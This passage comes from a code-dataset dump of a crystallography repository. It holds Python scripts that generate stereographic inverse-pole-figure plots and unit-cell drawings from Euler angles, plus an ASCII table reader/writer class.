np.linalg.norm(vector) != 0.0:\n vector = vector/np.linalg.norm(vector)\n zeta = math.degrees(math.atan2(vector[1],vector[0]))\n eta = math.degrees(math.acos(vector[2]))\n phi1 = 270 + zeta\n PHI = eta\n phi2 = 90 - zeta\n if options.eulers == True:\n listAngles.append(phi1)\n listAngles.append(PHI)\n listAngles.append(phi2)\n# X = vector[0] * math.sqrt(1. /(1 + abs(vector[2]))) # homochoric projection\n# Y = vector[1] * math.sqrt(1. /(1 + abs(vector[2])))\n X = vector[0] /((1 + abs(vector[2]))) # stereographic projection\n Y = vector[1] /((1 + abs(vector[2])))\n if [X,Y] not in listCoords:\n listCoords.append([X,Y])\n if options.unitcell == True :\n if options.symmetry == 'tetragonal' :\n cmd = '%s/unitcell.py -n \"%s-%s-%s\" -c 0.5456 --up 0 1 0 -e %.02f %.02f %.02f '%(options.root,str(int(phi1)),str(int(PHI)),str(int(phi2)),phi1,PHI,phi2)\n elif options.symmetry == 'cubic' :\n cmd = '%s/unitcell.py -n \"%s-%s-%s\" -c 1.0 --up 0 1 0 -e %.02f %.02f %.02f '%(options.root,str(int(phi1)),str(int(PHI)),str(int(phi2)),phi1,PHI,phi2)\n elif options.symmetry == 'hexagonal' :\n cmd = '%s/unitcell.py -u hexagonal -n \"%s-%s-%s\" --up 0 1 0 -e %.02f %.02f %.02f '%(options.root,str(int(phi1)),str(int(PHI)),str(int(phi2)),phi1,PHI,phi2)\n call(cmd,shell=True)\n out = '%s-%s-%s.pdf'%(str(int(phi1)),str(int(PHI)),str(int(phi2)))\n texfile.write('\\\\node at (%.03f,%.03f){\\includegraphics[scale=0.1]{%s}};\\n'%(X,Y,out))\n else :\n texfile.write('\\\\node[fill={rgb:red,%.4f;green,%.4f;blue,%.4f}, circle, minimum height=4pt] at (%.4f, %.4f) {};\\n'%(color[0]/255.0, color[1]/255.0, color[2]/255.0, X, Y))\n return\n\n\ndef mid(vector1,vector2):\n mid1 = np.array(([(vector1[0] + vector2[0])/2 ,(vector1[1] + vector2[1])/2 ,(vector1[2] + vector2[2])/2 ]))\n append(mid1)\n return mid1\n\n# Using Sierpenski triangle algorithm and modifying it #\n\ndef sierpenski(vector,degree):\n if degree > 0:\n sierpenski([vector[0],mid(vector[0],vector[1]),mid(vector[0],vector[2])],degree - 1)\n sierpenski([vector[1],mid(vector[0],vector[1]),mid(vector[1],vector[2])],degree - 1)\n sierpenski([vector[2],mid(vector[2],vector[1]),mid(vector[0],vector[2])],degree - 1)\n sierpenski([mid(vector[0],vector[1]),mid(vector[0],vector[2]),mid(vector[1],vector[2])],degree - 1)\n return\n\n\nif not os.path.exists('equidistant'): os.makedirs('equidistant')\n\n\ntexfile = open(\"equidistant/equidistant_IPF.tex\", 'w')\nif options.symmetry == 'tetragonal':\n texfile.write(generate_tex_tetragonal('header'))\nelif options.symmetry == 'cubic':\n texfile.write(generate_tex_cubic('header'))\nelif options.symmetry == 'hexagonal':\n texfile.write(generate_tex_hexagonal('header'))\nvector = np.array((options.point1,options.point2,options.point3))\nappend(vector[0])\nappend(vector[1])\nappend(vector[2])\nsierpenski(vector,options.degrees)\ntexfile.write(generate_tex_tetragonal('footer'))\ntexfile.close()\n\nif options.eulers:\n listAngles = np.array(listAngles).reshape(len(listAngles)/3,3)\n sorted_idx = np.lexsort(listAngles.T)\n sorted_data = listAngles[sorted_idx,:]\n\n # Get unique row mask\n row_mask = np.append([True],np.any(np.diff(sorted_data,axis=0),1))\n\n # Get unique rows\n uniqueAngles = sorted_data[row_mask]\n for i in xrange(len(uniqueAngles)):\n print uniqueAngles[i,0],uniqueAngles[i,1],uniqueAngles[i,2]\n \n " }, { "alpha_fraction": 0.3979775607585907, "alphanum_fraction": 0.4022025167942047, "avg_line_length": 46.02931594848633, "blob_id": "abfd0b76aea9a572eb2f96c08d68991daa730c77", "content_id": "2b41ef6340b91d93de8b117592d01cda81f051fd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 28876, "license_type": "permissive", "max_line_length": 158, "num_lines": 614, "path": "/Code/Spherical/asciitable.py", "repo_name": "chakra34/SphericalOrientations", "src_encoding": "UTF-8", "text": "# -*- coding: UTF-8 no BOM -*-\n\n# obtained from https://damask.mpie.de #\n\nimport os,sys\nimport numpy as np\n\n# ------------------------------------------------------------------\n# python 3 has no unicode object, this ensures that the code works on Python 2&3\ntry:\n test=isinstance('test', unicode)\nexcept(NameError):\n unicode=str\n\n# ------------------------------------------------------------------\nclass ASCIItable():\n \"\"\"Read and write to ASCII tables\"\"\"\n\n __slots__ = ['__IO__',\n 'info',\n 'labeled',\n 'data',\n ]\n\n tmpext = '_tmp' # filename extension for in-place access\n \n# ------------------------------------------------------------------\n def __init__(self,\n name = None,\n outname = None,\n buffered = False, # flush writes\n labeled = True, # assume table has labels\n readonly = False, # no reading from file\n ):\n self.__IO__ = {'output': [],\n 'buffered': buffered,\n 'labeled': labeled, # header contains labels\n 'tags': [], # labels according to file info\n 'readBuffer': [], # buffer to hold non-advancing reads\n 'dataStart': 0,\n }\n\n self.__IO__['inPlace'] = not outname and name and not readonly\n if self.__IO__['inPlace']: outname = name + self.tmpext # transparently create tmp file\n try:\n self.__IO__['in'] = (open( name,'r') if os.access( name, os.R_OK) else None) if name else sys.stdin\n except TypeError:\n self.__IO__['in'] = name\n\n try:\n self.__IO__['out'] = (open(outname,'w') if (not os.path.isfile(outname) or\n os.access( outname, os.W_OK)\n ) and\n (not self.__IO__['inPlace'] or\n not os.path.isfile(name) or\n os.access( name, os.W_OK)\n ) else None) if outname else sys.stdout\n except TypeError:\n self.__IO__['out'] = outname\n\n self.info = []\n self.tags = []\n self.data = []\n self.line = ''\n\n if self.__IO__['in'] is None \\\n or self.__IO__['out'] is None: raise IOError # complain if any required file access not possible\n \n# ------------------------------------------------------------------\n def _transliterateToFloat(self,\n x):\n try:\n return float(x)\n except:\n return 0.0\n\n# ------------------------------------------------------------------\n def _removeCRLF(self,\n string):\n try:\n return string.replace('\\n','').replace('\\r','')\n except:\n return string\n\n\n# ------------------------------------------------------------------\n def _quote(self,\n what):\n \"\"\"quote empty or white space-containing output\"\"\"\n import re\n \n return '{quote}{content}{quote}'.format(\n quote = ('\"' if str(what)=='' or re.search(r\"\\s\",str(what)) else ''),\n content = what)\n# ------------------------------------------------------------------\n def close(self,\n dismiss = False):\n self.input_close()\n self.output_flush()\n self.output_close(dismiss)\n\n# ------------------------------------------------------------------\n def input_close(self):\n try:\n if self.__IO__['in'] != sys.stdin: self.__IO__['in'].close()\n except:\n pass\n\n# ------------------------------------------------------------------\n def output_write(self,\n what):\n \"\"\"aggregate a single row (string) or list of (possibly containing further lists of) rows into output\"\"\"\n if not isinstance(what, (str, unicode)):\n try:\n for item in what: self.output_write(item)\n except:\n self.__IO__['output'] += [str(what)]\n else:\n self.__IO__['output'] += [what]\n\n return self.__IO__['buffered'] or self.output_flush()\n\n# ------------------------------------------------------------------\n def output_flush(self,\n clear = True):\n try:\n self.__IO__['output'] == [] or self.__IO__['out'].write('\\n'.join(self.__IO__['output']) + '\\n')\n except IOError:\n return False\n if clear: self.output_clear()\n return True\n\n# ------------------------------------------------------------------\n def output_clear(self):\n self.__IO__['output'] = []\n\n# ------------------------------------------------------------------\n def output_close(self,\n dismiss = False):\n try:\n if self.__IO__['out'] != sys.stdout: self.__IO__['out'].close()\n except:\n pass\n if dismiss and os.path.isfile(self.__IO__['out'].name):\n os.remove(self.__IO__['out'].name)\n elif self.__IO__['inPlace']:\n os.rename(self.__IO__['out'].name, self.__IO__['out'].name[:-len(self.tmpext)])\n\n# ------------------------------------------------------------------\n def head_read(self):\n \"\"\"\n get column labels\n \n by either reading the first row or,\n if keyword \"head[*]\" is present, the last line of the header\n \"\"\"\n import re,shlex\n\n try:\n self.__IO__['in'].seek(0)\n except:\n pass\n\n firstline = self.__IO__['in'].readline().strip()\n m = re.search('(\\d+)\\s+head', firstline.lower()) # search for \"head\" keyword\n \n if m: # proper ASCIItable format\n\n if self.__IO__['labeled']: # table features labels\n\n self.info = [self.__IO__['in'].readline().strip() for i in range(1,int(m.group(1)))]\n self.tags = shlex.split(self.__IO__['in'].readline()) # store tags found in last line\n\n else:\n\n self.info = [self.__IO__['in'].readline().strip() for i in range(0,int(m.group(1)))] # all header is info ...\n\n else: # other table format\n try:\n self.__IO__['in'].seek(0) # try to rewind\n except:\n self.__IO__['readBuffer'] = [firstline] # or at least save data in buffer\n\n while self.data_read(advance = False, respectLabels = False):\n if self.line[0] in ['#','!','%','/','|','*','$']: # \"typical\" comment indicators\n self.info_append(self.line) # store comment as info\n self.data_read() # wind forward one line\n else: break # last line of comments\n\n if self.__IO__['labeled']: # table features labels\n self.tags = self.data # get tags from last line in \"header\"...\n self.data_read() # ...and remove from buffer\n \n if self.__IO__['labeled']: # table features tags\n self.__IO__['tags'] = list(self.tags) # backup tags (make COPY, not link)\n\n try:\n self.__IO__['dataStart'] = self.__IO__['in'].tell() # current file position is at start of data\n except IOError:\n pass\n\n# ------------------------------------------------------------------\n def head_write(self,\n header = True):\n \"\"\"write current header information (info + labels)\"\"\"\n head = ['{}\\theader'.format(len(self.info)+self.__IO__['labeled'])] if header else []\n head.append(self.info)\n if self.__IO__['labeled']: head.append('\\t'.join(map(self._quote,self.tags)))\n \n return self.output_write(head)\n\n# ------------------------------------------------------------------\n def head_getGeom(self):\n \"\"\"interpret geom header\"\"\"\n identifiers = {\n 'grid': ['a','b','c'],\n 'size': ['x','y','z'],\n 'origin': ['x','y','z'],\n }\n mappings = {\n 'grid': lambda x: int(x),\n 'size': lambda x: float(x),\n 'origin': lambda x: float(x),\n 'homogenization': lambda x: int(x),\n 'microstructures': lambda x: int(x),\n }\n info = {\n 'grid': np.zeros(3,'i'),\n 'size': np.zeros(3,'d'),\n 'origin': np.zeros(3,'d'),\n 'homogenization': 0,\n 'microstructures': 0,\n }\n extra_header = []\n\n for header in self.info:\n headitems = list(map(str.lower,header.split()))\n if len(headitems) == 0: continue # skip blank lines\n if headitems[0] in list(mappings.keys()):\n if headitems[0] in list(identifiers.keys()):\n for i in range(len(identifiers[headitems[0]])):\n info[headitems[0]][i] = \\\n mappings[headitems[0]](headitems[headitems.index(identifiers[headitems[0]][i])+1])\n else:\n info[headitems[0]] = mappings[headitems[0]](headitems[1])\n else:\n extra_header.append(header)\n\n return info,extra_header\n\n\n# ------------------------------------------------------------------\n def head_putGeom(self,info):\n \"\"\"translate geometry description to header\"\"\"\n self.info_append([\n \"grid\\ta {}\\tb {}\\tc {}\".format(*info['grid']),\n \"size\\tx {}\\ty {}\\tz {}\".format(*info['size']),\n \"origin\\tx {}\\ty {}\\tz {}\".format(*info['origin']),\n \"homogenization\\t{}\".format(info['homogenization']),\n \"microstructures\\t{}\".format(info['microstructures']),\n ])\n \n# ------------------------------------------------------------------\n def labels_append(self,\n what,\n reset = False):\n \"\"\"add item or list to existing set of labels (and switch on labeling)\"\"\"\n if not isinstance(what, (str, unicode)):\n try:\n for item in what: self.labels_append(item)\n except:\n self.tags += [self._removeCRLF(str(what))]\n else:\n self.tags += [self._removeCRLF(what)]\n\n self.__IO__['labeled'] = True # switch on processing (in particular writing) of tags\n if reset: self.__IO__['tags'] = list(self.tags) # subsequent data_read uses current tags as data size\n\n# ------------------------------------------------------------------\n def labels_clear(self):\n \"\"\"delete existing labels and switch to no labeling\"\"\"\n self.tags = []\n self.__IO__['labeled'] = False\n\n# ------------------------------------------------------------------\n def labels(self,\n tags = None,\n raw = False):\n \"\"\"\n tell abstract labels.\n \n \"x\" for \"1_x\",\"2_x\",... unless raw output is requested.\n operates on object tags or given list.\n \"\"\"\n from collections import Iterable\n \n if tags is None: tags = self.tags\n\n if isinstance(tags, Iterable) and not raw: # check whether list of tags is requested\n id = 0\n dim = 1\n labelList = []\n\n while id < len(tags):\n if not tags[id].startswith('1_'):\n labelList.append(tags[id])\n else:\n label = tags[id][2:] # get label\n while id < len(tags) and tags[id] == '{}_{}'.format(dim,label): # check successors\n id += 1 # next label...\n dim += 1 # ...should be one higher dimension\n labelList.append(label) # reached end --> store\n id -= 1 # rewind one to consider again\n\n id += 1\n dim = 1\n\n else:\n labelList = self.tags\n\n return labelList\n\n# ------------------------------------------------------------------\n def label_index(self,\n labels):\n \"\"\"\n tell index of column label(s).\n\n return numpy array if asked for list of labels.\n transparently deals with label positions implicitly given as numbers or their headings given as strings.\n \"\"\"\n from collections import Iterable\n\n if isinstance(labels, Iterable) and not isinstance(labels, str): # check whether list of labels is requested\n idx = []\n for label in labels:\n if label is not None:\n try:\n idx.append(int(label)-1) # column given as integer number?\n except ValueError:\n label = label[1:-1] if label[0] == label[-1] and label[0] in ('\"',\"'\") else label # remove outermost quotations\n try:\n idx.append(self.tags.index(label)) # locate string in label list\n except ValueError:\n try:\n idx.append(self.tags.index('1_'+label)) # locate '1_'+string in label list\n except ValueError:\n idx.append(-1) # not found...\n else:\n try:\n idx = int(labels)-1 # offset for python array indexing\n except ValueError:\n try:\n labels = labels[1:-1] if labels[0] == labels[-1] and labels[0] in ('\"',\"'\") else labels # remove outermost quotations\n idx = self.tags.index(labels)\n except ValueError:\n try:\n idx = self.tags.index('1_'+labels) # locate '1_'+string in label list\n except ValueError:\n idx = None if labels is None else -1\n\n return np.array(idx) if isinstance(idx,Iterable) else idx\n\n# ------------------------------------------------------------------\n def label_dimension(self,\n labels):\n \"\"\"\n tell dimension (length) of column label(s).\n\n return numpy array if asked for list of labels.\n transparently deals with label positions implicitly given as numbers or their headings given as strings.\n \"\"\"\n from collections import Iterable\n\n if isinstance(labels, Iterable) and not isinstance(labels, str): # check whether list of labels is requested\n dim = []\n for label in labels:\n if label is not None:\n myDim = -1\n try: # column given as number?\n idx = int(label)-1\n myDim = 1 # if found has at least dimension 1\n if self.tags[idx].startswith('1_'): # column has multidim indicator?\n while idx+myDim < len(self.tags) and self.tags[idx+myDim].startswith(\"%i_\"%(myDim+1)):\n myDim += 1 # add while found\n except ValueError: # column has string label\n label = label[1:-1] if label[0] == label[-1] and label[0] in ('\"',\"'\") else label # remove outermost quotations\n if label in self.tags: # can be directly found?\n myDim = 1 # scalar by definition\n elif '1_'+label in self.tags: # look for first entry of possible multidim object\n idx = self.tags.index('1_'+label) # get starting column\n myDim = 1 # (at least) one-dimensional\n while idx+myDim < len(self.tags) and self.tags[idx+myDim].startswith(\"%i_\"%(myDim+1)):\n myDim += 1 # keep adding while going through object\n\n dim.append(myDim)\n else:\n dim = -1 # assume invalid label\n idx = -1\n try: # column given as number?\n idx = int(labels)-1\n dim = 1 # if found has at least dimension 1\n if self.tags[idx].startswith('1_'): # column has multidim indicator?\n while idx+dim < len(self.tags) and self.tags[idx+dim].startswith(\"%i_\"%(dim+1)):\n dim += 1 # add as long as found\n except ValueError: # column has string label\n labels = labels[1:-1] if labels[0] == labels[-1] and labels[0] in ('\"',\"'\") else labels # remove outermost quotations\n if labels in self.tags: # can be directly found?\n dim = 1 # scalar by definition\n elif '1_'+labels in self.tags: # look for first entry of possible multidim object\n idx = self.tags.index('1_'+labels) # get starting column\n dim = 1 # is (at least) one-dimensional\n while idx+dim < len(self.tags) and self.tags[idx+dim].startswith(\"%i_\"%(dim+1)):\n dim += 1 # keep adding while going through object\n\n return np.array(dim) if isinstance(dim,Iterable) else dim\n\n# ------------------------------------------------------------------\n def label_indexrange(self,\n labels):\n \"\"\"\n tell index range for given label(s).\n\n return numpy array if asked for list of labels.\n transparently deals with label positions implicitly given as numbers or their headings given as strings.\n \"\"\"\n from collections import Iterable\n\n start = self.label_index(labels)\n dim = self.label_dimension(labels)\n \n return np.hstack([range(c[0],c[0]+c[1]) for c in zip(start,dim)]) \\\n if isinstance(labels, Iterable) and not isinstance(labels, str) \\\n else range(start,start+dim)\n\n# ------------------------------------------------------------------\n def info_append(self,\n what):\n \"\"\"add item or list to existing set of infos\"\"\"\n if not isinstance(what, (str, unicode)):\n try:\n for item in what: self.info_append(item)\n except:\n self.info += [self._removeCRLF(str(what))]\n else:\n self.info += [self._removeCRLF(what)]\n\n# ------------------------------------------------------------------\n def info_clear(self):\n \"\"\"delete any info block\"\"\"\n self.info = []\n\n# ------------------------------------------------------------------\n def data_rewind(self):\n self.__IO__['in'].seek(self.__IO__['dataStart']) # position file to start of data section\n self.__IO__['readBuffer'] = [] # delete any non-advancing data reads\n self.tags = list(self.__IO__['tags']) # restore label info found in header (as COPY, not link)\n self.__IO__['labeled'] = len(self.tags) > 0\n\n# ------------------------------------------------------------------\n def data_skipLines(self,\n count):\n \"\"\"wind forward by count number of lines\"\"\"\n for i in range(count):\n alive = self.data_read()\n\n return alive\n\n# ------------------------------------------------------------------\n def data_read(self,\n advance = True,\n respectLabels = True):\n \"\"\"read next line (possibly buffered) and parse it into data array\"\"\"\n import shlex\n \n self.line = self.__IO__['readBuffer'].pop(0) if len(self.__IO__['readBuffer']) > 0 \\\n else self.__IO__['in'].readline().strip() # take buffered content or get next data row from file\n\n if not advance:\n self.__IO__['readBuffer'].append(self.line) # keep line just read in buffer\n\n self.line = self.line.rstrip('\\n')\n\n if self.__IO__['labeled'] and respectLabels: # if table has labels\n items = shlex.split(self.line)[:len(self.__IO__['tags'])] # use up to label count (from original file info)\n self.data = items if len(items) == len(self.__IO__['tags']) else [] # take entries if label count matches\n else:\n self.data = shlex.split(self.line) # otherwise take all\n\n return self.data != []\n\n# ------------------------------------------------------------------\n def data_readArray(self,\n labels = []):\n \"\"\"read whole data of all (given) labels as numpy array\"\"\"\n from collections import Iterable\n\n try:\n self.data_rewind() # try to wind back to start of data\n except:\n pass # assume/hope we are at data start already...\n\n if labels is None or labels == []:\n use = None # use all columns (and keep labels intact)\n labels_missing = []\n else:\n if isinstance(labels, str) or not isinstance(labels, Iterable): # check whether labels are a list or single item\n labels = [labels]\n indices = self.label_index(labels) # check requested labels ...\n dimensions = self.label_dimension(labels) # ... and remember their dimension\n present = np.where(indices >= 0)[0] # positions in request list of labels that are present ...\n missing = np.where(indices < 0)[0] # ... and missing in table\n labels_missing = np.array(labels)[missing] # labels of missing data\n\n columns = []\n for i,(c,d) in enumerate(zip(indices[present],dimensions[present])): # for all valid labels ...\n # ... transparently add all components unless column referenced by number or with explicit dimension\n columns += list(range(c,c + \\\n (d if str(c) != str(labels[present[i]]) else \\\n 1)))\n use = np.array(columns) if len(columns) > 0 else None\n\n self.tags = list(np.array(self.tags)[use]) # update labels with valid subset\n\n self.data = np.loadtxt(self.__IO__['in'],usecols=use,ndmin=2)\n\n return labels_missing\n\n# ------------------------------------------------------------------\n def data_write(self,\n delimiter = '\\t'):\n \"\"\"write current data array and report alive output back\"\"\"\n if len(self.data) == 0: return True\n\n if isinstance(self.data[0],list):\n return self.output_write([delimiter.join(map(self._quote,items)) for items in self.data])\n else:\n return self.output_write( delimiter.join(map(self._quote,self.data)))\n\n# ------------------------------------------------------------------\n def data_writeArray(self,\n fmt = None,\n delimiter = '\\t'):\n \"\"\"write whole numpy array data\"\"\"\n for row in self.data:\n try:\n output = [fmt % value for value in row] if fmt else list(map(repr,row))\n except:\n output = [fmt % row] if fmt else [repr(row)]\n \n self.__IO__['out'].write(delimiter.join(output) + '\\n')\n\n# ------------------------------------------------------------------\n def data_append(self,\n what):\n if not isinstance(what, (str, unicode)):\n try:\n for item in what: self.data_append(item)\n except:\n self.data += [str(what)]\n else:\n self.data += [what]\n\n# ------------------------------------------------------------------\n def data_set(self,\n what, where):\n \"\"\"update data entry in column \"where\". grows data array if needed.\"\"\"\n idx = -1\n try:\n idx = self.label_index(where)\n if len(self.data) <= idx:\n self.data_append(['n/a' for i in range(idx+1-len(self.data))]) # grow data if too short\n self.data[idx] = str(what)\n except(ValueError):\n pass\n\n return idx\n\n# ------------------------------------------------------------------\n def data_clear(self):\n self.data = []\n\n# ------------------------------------------------------------------\n def data_asFloat(self):\n return list(map(self._transliterateToFloat,self.data))\n\n\n\n# ------------------------------------------------------------------\n def microstructure_read(self,\n grid,\n type = 'i',\n strict = False):\n \"\"\"read microstructure data (from .geom format)\"\"\"\n def datatype(item):\n return int(item) if type.lower() == 'i' else float(item)\n \n N = grid.prod() # expected number of microstructure indices in data\n microstructure = np.zeros(N,type) # initialize as flat array\n\n i = 0\n while i < N and self.data_read():\n items = self.data\n if len(items) > 2:\n if items[1].lower() == 'of': items = np.ones(datatype(items[0]))*datatype(items[2])\n elif items[1].lower() == 'to': items = np.arange(datatype(items[0]),1+datatype(items[2]))\n else: items = list(map(datatype,items))\n else: items = list(map(datatype,items))\n\n s = min(len(items), N-i) # prevent overflow of microstructure array\n microstructure[i:i+s] = items[:s]\n i += len(items)\n\n return (microstructure, i == N and not self.data_read()) if strict else microstructure # check for proper point count and end of file\n" }, { "alpha_fraction": 0.6958333253860474, "alphanum_fraction": 0.699999988079071, "avg_line_length": 29, "blob_id": "9186b56231b7b73d49ee9c8af9fd6956ce5d713a", "content_id": "86bd6e95509c59ff456c75dfb5c999e6904075b1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 240, "license_type": "permissive", "max_line_length": 76, "num_lines": 8, "path": "/Code/Spherical/__init__.py", "repo_name": "chakra34/SphericalOrientations", "src_encoding": "UTF-8", "text": "# -*- coding: UTF-8 no BOM -*-\n\n\"\"\"Main aggregator\"\"\"\nimport os\n\nfrom .asciitable import ASCIItable # noqa\nfrom .orientation import Quaternion, Rodrigues, Symmetry, Orientation # noqa\nfrom .util import extendableOption # noqa\n" }, { "alpha_fraction": 0.4749639332294464, "alphanum_fraction": 0.4992063343524933, "avg_line_length": 38.71346664428711, "blob_id": "e48ed536bfc377fae68b8bb6bfc1f51acc81621e", "content_id": "cfbf3ed82b9db77aaa2855e8e5d6b3462bf1e9b1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13860, "license_type": "permissive", "max_line_length": 157, "num_lines": 349, "path": "/Code/unitcell.py", "repo_name": "chakra34/SphericalOrientations", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# line [thinvectorstyle] (O)(px) \n# line [thinvectorstyle] (O)(py) \n# # line [thinvectorstyle] (O)(pz) \n# special | \\path #1 -- #2 node[at end, below] {$ x $}; | (O)(px)\n# special | \\path #1 -- #2 node[at end, below] {$ y $}; | (O)(py)\n# special | \\path #1 -- #2 node[at end, above] {$ z $}; | (O)(pz)\n\nimport sys,os,math\nfrom optparse import OptionParser\n\nunitcell_choices = ['cubic','hexagonal']\n \nparser = OptionParser(usage='%prog [options]', description = \"\"\"\nGenerate vector-based crystal unit overlays from Euler angles.\nAngles are specified either directly as argument, resulting in a single file with name derived from the orientation and lattice,\nor by scanning through an EDAX/TSL unitcell file from which a batch of unitcells located at the respective positions is produced.\n\nRequires a working setup of 'sketch' (by Gene Ressler) plus 'LaTeX' with 'TikZ' extension.\nColumn headings need to have names 'phi1', 'Phi', 'phi2'.\n\n$Id: unitcell.py 474 2017-03-10 19:31:50Z p.eisenlohr $\n\"\"\")\n\nparser.add_option('-u', '-t', '--unitcell', type='string', metavar = 'string',\n dest='unitcell',\n help='type of unit cell [%s]'%(','.join(unitcell_choices)))\nparser.add_option('-n', '--name', type='string', metavar = 'string',\n dest='name',\n help='filename of output')\nparser.add_option('-e', '--eulers', type='float', nargs=3, metavar = 'float float float',\n dest='eulers',\n help='3-1-3 Euler angles in degrees [%default]')\nparser.add_option('-r', '--radians', action='store_true',\n dest='radians',\n help='Euler angles in radians [%default]')\nparser.add_option('-c', '--covera', type='float', metavar = 'float',\n dest='ca',\n help='c over a ratio [ideal]')\nparser.add_option('-o', '--opacity', type='float', metavar = 'float',\n dest='opacity',\n help='opacity level [%default]')\nparser.add_option('-a', '--axes', action='store_true',\n dest='axes',\n help='show all axes [%default]')\nparser.add_option('--globalaxes', action='store_true',\n dest='globalaxes',\n help='show global axes [%default]')\nparser.add_option('--localaxes', action='store_true',\n dest='localaxes',\n help='show local axes [%default]')\nparser.add_option('--vector', type='float', nargs=3, metavar = 'float float float',\n dest='vector',\n help='draw a lattice vector')\nparser.add_option('-p', '--perspective', action='store_true',\n dest='perspective',\n help='perspective view [%default]')\nparser.add_option('-y', '--eye', type='float', nargs=3, metavar = 'float float float',\n dest='eye',\n help='position of eye on scene [%default]')\nparser.add_option( '--up', type='float', nargs=3, metavar = 'float float float',\n dest='up',\n help='vector corresponding to up direction [%default]')\nparser.add_option('-f', '--figure', action='store_true',\n dest='figure',\n help='produce LaTeX figure compatible file instead of PDF [%default]')\nparser.add_option('-k', '--keep', action='store_true',\n dest='keep',\n help='keep intermediate files [%default]')\nparser.add_option('-b', '--batch', type='string', metavar = 'string',\n dest='batchfile',\n help='EDAX/TSL unitcell file')\nparser.add_option('-l', '--label', action='store_true',\n dest='label',\n help='mark batch processed unit cells by number [%default]')\nparser.add_option('-s', '--scale', type='float', metavar = 'float',\n dest='scale',\n help='scale of diagonal bounding box in batch file [%default]')\nparser.add_option('-v', '--verbose', action='store_true',\n dest='verbose',\n help='verbose output')\n\nparser.set_defaults(unitcell = 'cubic',\n batchfile = None,\n eulers = [0.0,0.0,0.0],\n ca = None,\n opacity = 0.8,\n scale = 7,\n globalaxes = False,\n localaxes = False,\n axes = False,\n perspective = False,\n line = None,\n eye = [0.0,0.0,1.0],\n up = [-1.0,0.0,0.0],\n figure = False,\n keep = False,\n radians = False,\n label = False,\n verbose = False,\n )\n\n(options, args) = parser.parse_args()\n\nif options.unitcell not in unitcell_choices:\n parser.error('\"%s\" not a valid choice for unitcell [%s]'%(options.unitcell,','.join(unitcell_choices)))\n\nif options.axes: options.globalaxes = options.localaxes = options.axes\n \nif not options.ca: options.ca = {'cubic':1,'hexagonal':1.633}[options.unitcell]\n\nopacity = max(0.0,min(1.0,options.opacity))\n\nif options.perspective:\n options.perspective = 'view((%f,%f,%f),(0,0,0),[%f,%f,%f]) then perspective(%f)'%((5.0+options.scale)*options.eye[0],\\\n (5.0+options.scale)*options.eye[1],\\\n (5.0+options.scale)*options.eye[2],\\\n options.up[0],\\\n options.up[1],\\\n options.up[2],\\\n 80.0/options.scale**0.4)\nelse:\n options.perspective = 'view((%f,%f,%f),(0,0,0),[%f,%f,%f]) then scale(%f)'%(options.scale*options.eye[0],\\\n options.scale*options.eye[1],\\\n options.scale*options.eye[2],\\\n options.up[0],\\\n options.up[1],\\\n options.up[2],\\\n 20.0/options.scale)\n\n\ncoords = {\n 'x':[4,1], # column 4 positive\n 'y':[3,1], # column 3 positive\n }\n\nheader = \"\"\"\ndef O (0,0,0)\ndef J [0,0,1]\n\ndef px [1,0,0]+(O)\ndef py [0,1,0]+(O)\ndef pz [0,0,1]+(O)\n\ndef globalSystemAxes\n{{\n\nline[color=black,line width=0.5pt] (O)(px)\nline[color=black,line width=0.5pt] (O)(py)\nline[color=black,line width=0.5pt] (O)(pz)\nspecial | \n \\path #1 -- #2 node[color=black,font=\\\\footnotesize,pos=1.25] {{$x$}};\n \\path #1 -- #3 node[color=black,font=\\\\footnotesize,pos=1.25] {{$y$}};\n \\path #1 -- #4 node[color=black,font=\\\\footnotesize,pos=1.25] {{$z$}};\n| (O)(px)(py)(pz)\n \n}}\n\n\ndef localSystemAxes\n{{\n\nline[color=red,line width=1.5pt] (O)(px)\nline[color=red,line width=1.5pt] (O)(py)\nline[color=red,line width=1.5pt] (O)(pz)\nspecial | \n \\path #1 -- #2 node[color=red,font=\\\\footnotesize,pos=1.25] {{$x$}};\n \\path #1 -- #3 node[color=red,font=\\\\footnotesize,pos=1.25] {{$y$}};\n \\path #1 -- #4 node[color=red,font=\\\\footnotesize,pos=1.25] {{$z$}};\n| (O)(px)(py)(pz)\n\n}}\n\n\ndef unitcell_hexagonal\n{{\n def n 6\n def ca {ca}\n \n sweep[cull=false,line width={linewidth}pt,fill=white,draw=black,fill opacity={opacity}]\n {{n<>,rotate(360/n,(O),[J])}} line (1,0,-ca/2)(1,0,ca/2)\n}}\n\n\ndef unitcell_cubic\n{{\n def n 4\n def ca {ca}\n \n sweep[cull=false,line width={linewidth}pt,fill=white,draw=black,fill opacity={opacity}]\n {{n<>,rotate(360/n,(O),[J])}} line (0.5,0.5,-ca/2)(0.5,0.5,ca/2)\n}}\n\n\n\"\"\"\n\nrotation = \"\"\"\ndef EulerRotation_{0}_{1}_{2}\n rotate({0},[0,0,1]) then\n rotate({1},rotate({0},[0,0,1])*[1,0,0]) then \n rotate({2},rotate({1},rotate({0},[0,0,1])*[1,0,0])*[0,0,1])\n\n\"\"\"\n\nunitcell = \"put {{ [[EulerRotation_{euler[0]}_{euler[1]}_{euler[2]}]] then translate([{dx},{dy},0]) }} {{unitcell_{celltype}}}\"\nvector = \"put {{ [[EulerRotation_{euler[0]}_{euler[1]}_{euler[2]}]] then translate([{dx},{dy},0]) }} {{ line[color=blue,line width=2pt] (O)({vector}) }}\"\nlocalaxes = \"put {{ [[EulerRotation_{euler[0]}_{euler[1]}_{euler[2]}]] then translate([{dx},{dy},0]) then scale(1.25) }} {{ {{localSystemAxes}} }}\"\nglobalaxes = '{globalSystemAxes}'\nlabel = \"special |\\\\node at #1 {%i};|(%f,%f,0)\" \n\nview = \"\"\"\nput { %s }\n { \n %s\n }\n\"\"\"\n\nfooter = \"\"\"\nglobal { language tikz }\n\"\"\"\n\n\nif options.batchfile == None or not os.path.isfile(options.batchfile):\n if options.radians:\n options.eulers = map(math.degrees,options.eulers)\n options.eulers = map(lambda x: x%360.,options.eulers) # Euler angles between 0 and 360 deg\n\n filename = options.name if options.name else 'unitcell_{0}_{1}_{2}_{3}'.format(options.unitcell,*map(lambda x:int(round(x)),options.eulers))\n\n cmd = header.format(ca=options.ca,\n linewidth=40/options.scale,\n opacity=options.opacity,\n )\n cmd += 